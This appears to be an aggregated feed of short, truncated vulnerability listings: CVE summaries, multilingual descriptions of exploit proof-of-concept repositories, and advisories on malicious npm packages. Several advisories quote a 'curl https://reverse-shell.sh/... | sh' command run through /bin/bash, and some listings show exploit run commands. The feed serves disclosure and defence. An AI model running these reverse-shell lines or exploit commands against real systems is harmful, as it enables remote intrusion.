CVE-2026-25270

The Android Camera driver is vulnerable to a memory corruption issue caused by an out-of-bounds write . This occurs when the driver processes command buffer requests that contain invalid length parameters . While the specific affected versions are not provided in the documents, the vulnerability ...

CVE-2026-25263 Out of Bounds write in Linux Camera

Memory corruption while processing IOCTL command called from user space to the kernel with invalid parameters...

CVE-2026-47323

camel-cxf-rest / camel-cxf / camel-knative-http 헤더 인젝션 재현기 CVE-2026-47323 이 프로젝트는 Apache Camel의 CXF 및 Knative HTTP 헤더 필터 전략에서 메시지-헤더 인젝션 을 시연하며, CVE-2026-47323 로 추적됩니다. CxfRsHeaderFilterStrategy camel-cxf-rest, CxfHeaderFilterStrategy camel-cxf-transport 및 KnativeHttpHeaderFilterStrategy...

watchTowr-vs-Citrix-Netscaler-CVE-2026-88771

watchTowr-vs-Citrix-Netscaler-CVE-2026-88771 Citrix NetScaler CVE-2026-88771 탐지 아티팩트 생성기 기술적 세부 사항은 블로그 게시물을 참조하세요. 실제 탐지 ./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://netscaler.local/ --command 'id/var/tmp/watchTowr' / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | |...

HIKRAVEN

HIKRAVEN 🛡️ Платформа расширенной оценки безопасности Hikvision — профессиональная версия Возможности • Быстрый старт • Установка • Использование • Документация • Отказ от ответственности ⚠️ ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ ! ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ...

pgadmin4-9.10-CVE-2025-13780

pgadmin4 9.11 메타 명령 필터 명령 실행 요약 pgAdmin의 Issue 9320 수정의 일부로 도입된 PLAIN 복원 메타 명령 필터는 SQL 파일이 UTF-8 BOMEF BB BF 또는 다른 특수 시퀀스로 시작할 때 메타 명령을 감지하지 못합니다. 구현된 필터는 hasmetacommands 함수를 사용하며, 정규 표현식으로 원시 바이트를 스캔합니다. 정규식은 해당 바이트를 무시 가능한 것으로 처리하지 않으므로 !와 같은 메타 명령이 감지되지 않습니다. pgAdmin이 --file과 함께 psql을 호출하면...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Удаленное выполнение кода через CGI-сервлет Apache Tomcat Этот репозиторий предоставляет лабораторную среду на основе Docker для воспроизведения уязвимости CVE-2019-0232 в Apache Tomcat 9.0.17 на Windows. Обзор уязвимости CVE-2019-0232 — это уязвимость удаленного выполнения кода в...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

MAL-2026-17634 Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

CVE-2023-30990

CVE-2023-30990 эксплойты Подробности в нашем блоге: https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Сценарии Python требуют модуля ebcdic: pip install ebcdic Метод DRDA S38CMD python3 ddm.py "" Метод DRDA SQL python3 ddm-bypass-test.py "" Простая bindshell с методом S38CMD...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 Этот репозиторий содержит простой PoC-скрипт для уязвимости удаленного выполнения кода в Atlassian Bitbucket. Вы можете запустить этот скрипт следующими командами: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py Или вы можете создать файл цел...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽의 인증되지 않은 원격 명령 주입 영향을 받는 버전 영향을 받는 구성 요소 USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 펌웨어 버전 ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 업데이트 -proxy 출처...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab ラボの前提条件 デモアプリ: http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip JBOSSダウンロードアーカイブからJboss 5.1.0.GA: https://repository.jboss.org/sourceforge/ JAVAアーカイブからJdk-6u45-linux-x64:...

CVE-2021-42559

CVE-2021-42559: Внедрение команд через конфигурации в MITRE Caldera Caldera версии =2.8.1 содержит несколько стартовых "требований", которые выполняют команды при запуске сервера. Поскольку эти команды можно изменить через REST API, аутентифицированный пользователь может вставить произвольные...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 WebServer Authenticated Remote Code Execution. Описание Наличие внедрения команд Command Injection в веб-сервере Open PLC v3 позволяет удалённым злоумышленникам выполнять произвольный код. Протестировано только на машине HTB Wifinetictwo.htb. Я обнаружил проблемы со всеми...

CVE-2024-4577

CVE-2024-4577: Критическая уязвимость в CGI-конфигурациях PHP Серьёзная уязвимость безопасности существует в CGI-режиме PHP, которая позволяет злоумышленникам выполнять произвольные команды, манипулируя параметрами URL. Затронутые версии Версии PHP до 7.4.29 и 8.0.19 на Windows, работающие с...